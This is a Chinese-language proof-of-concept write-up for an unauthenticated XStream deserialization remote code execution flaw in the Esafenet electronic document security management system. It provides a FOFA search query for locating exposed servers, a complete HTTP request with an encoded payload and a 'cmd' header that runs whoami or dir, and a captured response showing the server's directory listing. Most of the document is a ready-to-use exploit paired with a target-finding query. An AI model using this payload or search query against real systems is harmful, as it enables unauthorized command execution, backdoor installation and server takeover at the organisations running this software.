

Y5-5亿赛通-电子文档安全管理系统-反序列化RCE

漏洞描述：

某赛通电子文档安全管理系统 多处接口处存XStream反序列化远程代码执行漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web 服务器。

网站图片：



网络测绘：

fofa语法：

```
body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"
```

漏洞复现：

payload:

```
POST /CDGServer3/ExamCDGDocService1?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami
```

```
NNLINELBIIKEOGPIFLNMHPIPNNOHFNECLEHKBCIHIFHCMPNDPDPHOHMONIOCNLPBOKNAEEBHCIFINMDDAACABKCKIAEMBOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFFPELKLGCCEBMBMKNKOIBMPHCIODCEHOKPCEDHPNLONIC
```

效果图：

Request

```
1 POST /CDGServer3/ExamCDGDocService1?command=GETSYSTEMINFO HTTP/1.1
2 Host: ...
3 User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
4 Accept-Encoding: gzip, deflate, br
5 Connection: close
6 Content-Type: text/xml
7 cmd: dir
8
9 NNLINELBIIKEOGPIFLNMHPIPNNOHFNECLEHKBCIHIFHCMPNDPDPHOHMONIOCNLPBOKNAEEBHCIFINMDDAACABKCKIAEMBOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFFPELKLGCCEBMBMKNKOIBMPHCIODCEHOKPCEDHPNLONIC
```

Responses 2618bytes / 272ms

```
1 HTTP/1.1 200
2 Set-Cookie: JSESSIONID=0B4E9F923E2E37C985B1
3 Content-Type: text/html; charset=utf-8
4 Date: Wed, 31 Jan 2024 20:40:03 GMT
5 Connection: close
6 Content-Length: 2618
7
8 ??? C:???????
9 ?????? 30C8-9082
10
11 C:\Program Files (x86)\ESAFENET\CDocGuard
12
13 2023/08/29 19:02:??? <DIR> .....
14 2023/08/29 19:02:??? <DIR> .....
15 2023/06/01 22:12:??? 36,717 bootst
16 2023/06/01 22:12:??? 1,703 catali
17 2023/06/01 22:12:??? 16,840 catali
18 2023/06/01 22:12:??? 25,294 catali
19 2023/06/01 22:12:??? 289,440 CdgCon
20 2023/06/01 22:12:??? 87,552 CdgCon
21 2023/06/01 22:12:??? 2,123 cipher
22 2023/06/01 22:12:??? 1,997 cipher
23 2023/06/01 22:12:??? 214,019 common
24 2023/06/01 22:12:??? 25,765 common
25 2023/06/01 22:12:??? 2,040 config
26 2023/06/01 22:12:??? 1,922 config
27 2023/06/01 22:12:??? 9,100 daemon
```